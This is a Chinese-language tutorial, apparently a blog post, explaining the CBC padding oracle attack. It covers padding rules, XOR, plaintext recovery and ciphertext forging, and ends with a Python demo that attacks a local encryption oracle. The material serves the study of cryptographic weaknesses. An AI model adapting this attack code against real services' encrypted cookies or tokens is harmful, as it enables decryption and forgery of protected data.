根据加解密时是否用同一组密钥,可以分为对称加密和非对称加密。对称加密中根据对数据处理粒度的不同,可以分为分组加密算法(AES、3DES、DES、Blowfish、RC2、CAST)和流加密算法(ChaCha20、Salsa20、RC4)

  • 常见的非对称加密算法有RSA、ElGamal、DSA、ECC等

分组加密算法中根据加解密时对数据的分组编排方式,经典工作模式有ECB、CBC、PCBC、CFB、OFB、CTR等,其中后三者可以将分组加密转化为流加密形式。为了在保证机密性的前提下进一步保证完整性,现代工作模式有CCM(CBC-MAC)、EAX、GCM、SIV(Synthetic Initialization Vector)、OCB(Offset CodeBook)等。

分组加密方式简介

分组加密方式只能使用一个固定大小的密钥加密相同字节长度的明文,所以需要将加密的明文按照密钥大小拆分为多块(所以也叫块加密),如果拆分后最后一个块明文长度不够,就需要填充字节来补齐长度。按照常见的PKCS#5或PKCS#7标准,最后需要填充几个字节,那么所填充的字节的值就用几;如果明文最后一个块刚好满足长度大小,那就需要填充完整一个块。

举个例子,对称密钥为12345678时长度为8,当待加密的明文为abcdefg时其长度为7,填充后的块为[a][b][c][d][e][f][g][0x01];当待加密的明文为abcdefghabcdef时其长度为14,填充后的块为[a][b][c][d][e][f][g][h][a][b][c][d][e][f][0x02][0x02];当待加密的明文为abcdefgh时其长度为8,填充后的块为[a][b][c][d][e][f][g][h][0x08][0x08][0x08][0x08][0x08][0x08][0x08][0x08]

异或和可逆性

异或的概念对于二进制位而言,就是两个位不同则得到1,两个位相同则得到0。比如:

1
2
3
4
1 ^ 1 = 0
1 ^ 0 = 1
0 ^ 1 = 1
0 ^ 0 = 0

可以看出异或的结果与参与运算的两个值先后顺序没有关系,按小学的说法可以称为异或交换律。= =

再看仔细一些可以知道,如果A^B=C,那么A^C=B、B^C=A,说明异或具有可逆性。

两个十进制的异或就是都转为二进制再逐位异或。两个字节的异或,就是对字节取ASCII码(十进制)再。。。两个长度相同字符串的异或就是逐字节。。。所以字符串的异或本质就是二进制位的异或,这说明异或的可逆性同样适用于字符串。

CBC工作模式简介

Plaintext指明文块,Ciphertext指密文块,key指对称密钥,符号表示异或。

IV(Initialization Vector)是每次加密时都应随机生成的一串与分块大小相同的随机值,随机IV的存在使得相同的对称密钥加密两次相同的明文也会得到不同的密文,规避了ECB模式相关安全问题。如果某些具体实现中IV重复使用或是可以预测,亦或是使用全0的IV则会导致明文块泄漏,但这不是本文讨论的重点。

加密时先将第一块明文与初始IV异或,再将异或后的块用对称密钥加密得到第一块密文。第一块密文会作为第二块的IV,与第二块明文异或后再用对称密钥加密得到第二块密文,直到最后一块密文加密完成。

  • 从第二块明文开始,每块明文加密都需要用到上一块的密文作为IV,加密过程无法并行

解密时先将密文用对称密钥解密得到一个中间值,将此中间值与IV异或得到明文。注意我现在没有说第一块了,因为IV此时都是已知的,每两个密文块就可以解出一个明文块,解密过程可以并行。

因为解密第一块密文时需要初始的IV,而初始IV在密码学中本就没有保密性要求,通常都会将初始IV拼接到密文头部一起发给客户端(至于为什么拼接在头部而不是尾部或是单独分开,因为上一块密文就是下一块密文IV,拼接到头部其实就是让IV作为第零块密文,顺其自然地成为第一块密文的IV)。

PaddingOracle

PaddingOracle一般是指对称加密算法CBC工作模式的一种攻击方式。如果能够区分密文解密出错的原因,是由于填充错误(比如填充的[0x01][0x02]),还是由于正常解密出的明文在具体的业务环境中报错(比如判断role是admin还是member,结果解密出来是!@#$),就能在不知道对称密钥的情况下,利用错误回显或是时间延迟的侧信道,爆破和推测出密文被对称密钥解密后的 中间值,进一步可以推测出密文被完整解密后的 原始明文,或是利用中间值结合可控的IV逆推构造出 想要的明文。

  • 利用错误回显或是时间延迟做判断的这个过程就称为oracle

推导明文

下面来分析下具体流程,我们先从多个加密块的第一个块说起,我将密文块被对称密钥解密后的值称为中间值,中间值与IV异或后会得到完整解密的明文块。

首先需要思考的是,解密时如何判断填充的字节有没有出错呢?答案是从完整解密后的明文块最后一个字节开始读,如果发现最后一个字节是0x03,那么就继续读倒数第二个字节、倒数第三个字节并确认其都是0x03,如果倒数第二或第三个字节不是0x03就说明出现了填充错误。

那么通过某种手段使明文最后一个字节为0x01时,读完最后一个字节后就不会再向前校验了,所以这个块无论如何都不会出现填充错误。明文最后一个字节是由中间值最后一个字节与IV最后一个字节异或而来,那么就存在以下推导:

1
2
3
4
5
6
# 必然存在一个guess_iv[-1]值符合
guess_iv[-1] ^ middle[-1] = 0x01
# 根据异或可逆性反推出真实中间值middle[-1]
middle[-1] = guess_iv[-1] ^ 0x01
# 得到真实中间值middle[-1]后,与原本的iv[-1]算出真实的明文plain[-1]
plain[-1] = iv[-1] ^ middle[-1]

虽然但是,那怎么知道这个必然存在的值是什么呢?在IV可控且能区分出有没有填充错误时,我们可以对IV最后一个字节进行爆破,如果不是这个必然存在的值,解密后明文最后一个字节不是0x01就会出现填充错误,没有填充错误时就说明我们爆破到了这个必然存在的值。因为1个字节是8个二进制位,最多只需要爆破2的8次方=256次就可以得到。

  • 可能有小伙伴会说假如这个块本身就是填充的0x02呢,那解密成0x020x01就都不会出现填充错误,注意开头说了我们目前分析的是多个加密块的第一个块,这种情况下第一个块不可能出现填充字节,而正常的明文一般也不会出现0x02,更多细节我们稍后讨论

知道中间值最后一个字节后,我们就能继续推导构造后两个字节的明文值,进而得到倒数第二个字节的中间值:

1
2
3
4
5
6
7
8
9
10
# 我们已经知道中间值最后一个字节
guess_iv[-1] ^ middle[-1] = 0x02
# 可以直接逆推出需要构造的guess_iv[-1]
guess_iv[-1] = middle[-1] ^ 0x02
# 同样的方法爆破出guess_iv[-2]
guess_iv[-2] ^ middle[-2] = 0x02
# 进一步推导出中间值middle[-2]
middle[-2] = guess[-2] ^ 0x02
# 得到真实中间值middle[-2]后,与原本的iv[-2]算出真实的明文plain[-2]
plain[-2] = iv[-2] ^ middle[-2]

重复这个套路,可以一直向前爆破和推导出这个块中间值和明文的每个字节,再对每个块重复这个套路就可以得到每个块中间值和明文的每个字节,与正常解密过程一样可以并行处理。这里清晰后就是时候讨论我们一直刻意忽略的,只有一个块或是最后一个块的填充问题了。

如果填充值是0x03或更大,由于是从后往前推出[0x01][0x02][0x02],存在多位相互校验就不会出现Oracle时的误判。而不论明文刚好本身倒数第二个字节是0x02还是最后一个块填充后有两个0x02,都有可能出现明文最后一个字节首先爆破成的是0x02(而非0x01),但由于不会出现填充错误,导致我们误以为使用这个guess_iv[-1]实际构造的出的是0x01

在群里讨论后,@香依香偎 师傅给出的思路是在最后一个填充字节判断成功的情况下,构造倒数第二字节为任意值都不出现填充错误,就说明倒数第一个字节确实构造成了0x01,也就是上文所说的情况了;而如果构造倒数第二字节时出现了填充错误,就说明我们构造出的明文最后一个字节其实是0x02(妙啊)。同时@Vanish 牛也提醒了,在这种得到错误middle[-1]的情况下,进行后续步骤就会出错。所以这种情况推导middle[-1]guess_iv[-1] ^ 0x02就行了。

构造密文

理解了推导明文的过程,构造密文(也称为CBC翻转)就很简单了。爆破推测出每一个字节的中间值,调整各个IV的各个字节使其与中间值异或后就是我们想要的明文:

1
2
3
4
# 推导需要构造出的IV
middle[i] ^ admin[i] = iv[i]
# 中间值与构造的IV异或后会得到想要的明文
middle[i] ^ iv[i] = admin[i]

由于第N块密文的IV就是第N-1块密文本身,所以我们需要从后向前先推出最后一块、再倒数第二、第三。。。一直推到第一块并构造出需要的原始IV,其实就是个逆序加密的过程,与正常加密过程一样不能够并行处理。

没有IV与IV不可控

设想一种没有IV且IV不可控的情况,服务器端加密xxx: abc; user: member;...原始信息,只将加密后的密文作为Cookie发往浏览器,而将用于加密的初始IV维护在服务器Session中,此时得不到初始IV也就没法套路出第一块密文的明文块了(但中间值还是能推测出来的),后续密文块的IV就是前一个密文块,所以第一块之外的密文还是能解出明文。对于CBC翻转来说,第一块明文的内容就没法构造了,为了配合后续块解密,被我们构造出的第一块密文也会被初始IV异或得不成样子。

假如此时通过某种途径泄漏出了Session里的初始IV,也就是有初始IV但IV不可控的情况,那么就能完整解密出包括第一块在内的全部明文。CBC翻转情况不变。

又假如通过某种途径导致Session里的初始IV可控(但读不到原本的初始IV),也就是没有初始IV但IV可控的情况,那么就能完整构造出包括第一块密文在内的全部密文。明文解密情况不变。

所以能不能读到初始IV影响原本第一块明文的解密,初始IV可不可控影响第一块明文的构造。

Python实现

考古了道哥写的py2demo,用Python3重写了一份,注意的是这份代码中判断填充正确与否是直接用了padding_byte值,所以不会出现上文讨论的0x02导致误判的情况,但实战环境中就需要改写为通过HTTP状态码、错误回显、时间延迟等手段进行判断了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
"""
CBC Padding Oracle Demo
Author: hosch3n
Reference: https://hosch3n.github.io/2021/08/10/PaddingOracle%E6%94%BB%E5%87%BB/

Padding Oracle Attack POC(CBC-MODE)
Author: axis(axis@ph4nt0m.org)
http://hi.baidu.com/aullik5
2011.9

This program is based on Juliano Rizzo and Thai Duong's talk on
Practical Padding Oracle Attack.(http://netifera.com/research/)

For Education Purpose Only!!!

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
"""

from Crypto.Cipher import AES, ARC2, Blowfish, CAST, DES, DES3
# from base64 import b64encode


def padding_pkcs(plaintext, block_size):
# Calculate Padding Byte
# The Byte Value is Length
padding_byte = block_size - len(plaintext) % block_size

# Make Padding
for _ in range(padding_byte):
plaintext.append(padding_byte)

return plaintext


def cbc_encrypt(plaintext, IV, SMKEY, CIPHER):
# String to ByteArray
plaintext = bytearray(plaintext, "utf-8")

# SMKEY Length
key_len = len(SMKEY)

if CIPHER == "AES":
# AES SMKEY Length must be 16/24/32
# AES-128 / AES-192 / AES-256
if key_len != 16 and key_len != 24 and key_len != 32:
return False
cipher_object = AES.new(SMKEY, AES.MODE_CBC, IV)
elif CIPHER == "ARC2":
cipher_object = ARC2.new(SMKEY, ARC2.MODE_CBC, IV)
elif CIPHER == "Blowfish":
cipher_object = Blowfish.new(SMKEY, Blowfish.MODE_CBC, IV)
elif CIPHER == "CAST":
cipher_object = CAST.new(SMKEY, CAST.MODE_CBC, IV)
elif CIPHER == "DES" and key_len == 8:
cipher_object = DES.new(SMKEY, DES.MODE_CBC, IV)
elif CIPHER == "3DES" and key_len == 16:
cipher_object = DES3.new(SMKEY, DES3.MODE_CBC, IV)
else:
return False

# Make Padding
plaintext = padding_pkcs(plaintext, len(IV))

return cipher_object.encrypt(plaintext)

def cbc_decrypt(cipher_bytes, IV, SMKEY, CIPHER):
if (len(cipher_bytes) % 8 != 0) or (len(IV) % 8 != 0):
print("[-] cipher_bytes length != IV length")
return False

if CIPHER == "AES":
cipher_object = AES.new(SMKEY, AES.MODE_CBC, IV)
elif CIPHER == "ARC2":
cipher_object = ARC2.new(SMKEY, ARC2.MODE_CBC, IV)
elif CIPHER == "Blowfish":
cipher_object = Blowfish.new(SMKEY, Blowfish.MODE_CBC, IV)
elif CIPHER == "CAST":
cipher_object = CAST.new(SMKEY, CAST.MODE_CBC, IV)
elif CIPHER == "DES":
cipher_object = DES.new(SMKEY, DES.MODE_CBC, IV)
elif CIPHER == "3DES":
cipher_object = DES3.new(SMKEY, DES3.MODE_CBC, IV)
else:
return False

return cipher_object.decrypt(cipher_bytes)

def split_block(any_bytes, block_size=8):
any_len = len(any_bytes)
if any_len % block_size != 0:
return False

# Split any_bytes by block_size
return [any_bytes[offset:offset+block_size] for offset in range(0, any_len, block_size)]

def set_iv(block_iv_list, block_intermediary_list, padding_byte):
block_iv_list_len = len(block_iv_list)
for i in range(0, block_iv_list_len):
block_iv_list[i] = chr(ord(block_intermediary_list[i]) ^ padding_byte)
return block_iv_list

def check_pkcs(plain_bytes, padding_byte):
if len(plain_bytes) % 8 != 0:
return False

# Exact Block Number
points = 0

# Calculate Points
for i in range(1, padding_byte+1):
if plain_bytes[-i] == padding_byte:
points += 1

if points == padding_byte:
return True
else:
return False

def oracle_block(cipher_bytes, block_size, next_iv, SMKEY, CIPHER):
block_dict = {}
block_plaintext = ""
block_intermediary_list = []
block_iv_list = []

# Construct Padding Bytes
for padding_byte in range(1, block_size+1):
tmp_iv_list = []
block_iv_list = set_iv(block_iv_list, block_intermediary_list, padding_byte)
block_iv_list_len = len(block_iv_list)

# Initialize IV
for _ in range(0, block_size - padding_byte):
tmp_iv_list.append("\x00")
tmp_iv_list.append("\x00")
tmp_iv_list_len = len(tmp_iv_list)

# Brute Force
for iv_ascii in range(0, 256):
# Edit item by list
try_iv_list = tmp_iv_list
try_iv_list[tmp_iv_list_len-1] = chr(iv_ascii)

# list to string
try_iv_str = "".join(try_iv_list)

# Reverse Append
for i in range(0, block_iv_list_len):
try_iv_str += block_iv_list[block_iv_list_len-1-i]

# Trigger Decrypt[Rewrite]
plain_bytes = cbc_decrypt(cipher_bytes, try_iv_str.encode("latin1"), SMKEY, CIPHER)

# Check Error[Rewrite]
flag = check_pkcs(plain_bytes, padding_byte)
if flag == False:
continue

# Get the Silver Bullet
# Dynamic Array append O(1)
block_iv_list.append(chr(iv_ascii))
block_intermediary_list.append(chr(iv_ascii ^ padding_byte))
break

# Revert block_intermediary and block_plaintext
block_intermediary_list_len = len(block_intermediary_list)
block_dict["intermediary"] = "".join(block_intermediary_list[::-1])
if next_iv != "":
for i in range(0, block_intermediary_list_len):
block_plaintext += chr(next_iv[i] ^ ord(block_intermediary_list[block_intermediary_list_len-1-i]))
block_dict["plaintext"] = block_plaintext
return block_dict

def oracle_decrypt(cipher_bytes, block_size, IV, SMKEY, CIPHER):
next_iv = IV

# Split cipher_bytes by block_size
cipher_blocks = split_block(cipher_bytes, block_size)
if cipher_blocks == False:
print("[-] Split Error!")
return False

result_dict = {}
result_dict["intermediary"] = ""
result_dict["plaintext"] = ""

# Attack block by block
for cipher_block in cipher_blocks:
# Get This Block Intermediary and Plaintext
block_dict = oracle_block(cipher_block, block_size, next_iv, SMKEY, CIPHER)

# Add Block Result
result_dict["intermediary"] += block_dict["intermediary"]
result_dict["plaintext"] += block_dict["plaintext"]

# Set IV to next cipher_block
next_iv = cipher_block

return result_dict

def str_xor(x, y):
x_len = len(x)
y_len = len(y)
if x_len != y_len:
print("[-] str_xor Length Error!")
return False

# type(bytearray[i]) is int
z = ""
for i in range(0, x_len):
z += chr(ord(x[i]) ^ y[i])

return z

def oracle_encrypt(WPSTRING, cipher_bytes, block_size, SMKEY, CIPHER):
# String to ByteArray
plaintext = bytearray(WPSTRING, "utf-8")
# Make Padding
plaintext = padding_pkcs(plaintext, block_size)
# Split plaintext by block_size and Reverse
plaintext_blocks = split_block(plaintext, block_size)
plaintext_blocks.reverse()

# Split cipher_bytes by block_size
cipher_blocks = split_block(cipher_bytes, block_size)
cipher_blocks_num = len(cipher_blocks)

# Get the Last One Block
payload = cipher_blocks[-1]
prev_block_bytes = cipher_blocks[-1]

for plaintext_block in plaintext_blocks:
# Get the block_intermediary
block_dict = oracle_block(prev_block_bytes, block_size, "", SMKEY, CIPHER)

# Get the Cipher Block
prev_block_bytes = str_xor(block_dict["intermediary"], plaintext_block).encode("latin1")

payload = prev_block_bytes + payload

return payload

def main():
# Origin Plaintext
OPSTRING = "abcdefghabcdefghxxxxxx"
# Want Plaintext
WPSTRING = "aaaaaaaaaaaaaaaa\r\n\tzzz"

CIPHER = "AES"
# CIPHER = "ARC2"
# CIPHER = "Blowfish"
# CIPHER = "CAST"
# CIPHER = "DES"
# CIPHER = "3DES"

# Intermediary Value
if CIPHER == "AES":
IV = b"1234567812345678"
else:
IV = b"12345678"
# Symmetric Key
if CIPHER != "DES":
SMKEY = b"~!@#$%^&*()_+`-="
else:
SMKEY = b"~!@#$%^&"

# AES Per-Block Size is 16
if CIPHER == "AES":
block_size = 16
else:
block_size = 8

# IV must same as block_size
if len(IV) != block_size:
return False

# CBC Encrypt
cipher_bytes = cbc_encrypt(OPSTRING, IV, SMKEY, CIPHER)
if cipher_bytes == False:
print("[-] Encrypt Error!")
return False

# Padding Oracle Decrypt
result_dict = oracle_decrypt(cipher_bytes, block_size, IV, SMKEY, CIPHER)
if result_dict == False:
print("[-] Attack Error!")
return False
print(result_dict)

# Configuring Payload in Local
payload = oracle_encrypt(WPSTRING, cipher_bytes, block_size, SMKEY, CIPHER)
print(payload)

# CBC Decrypt
# plain_bytes = cbc_decrypt(cipher_bytes, IV, SMKEY, CIPHER)
plain_bytes = cbc_decrypt(payload[block_size:], payload[:block_size], SMKEY, CIPHER)
print(plain_bytes)


if __name__ == "__main__":
main()

参考链接

Cipher block chaining (CBC)

Automated Padding Oracle Attacks With PadBuster

Padding Oracle Attack的一些细节与实现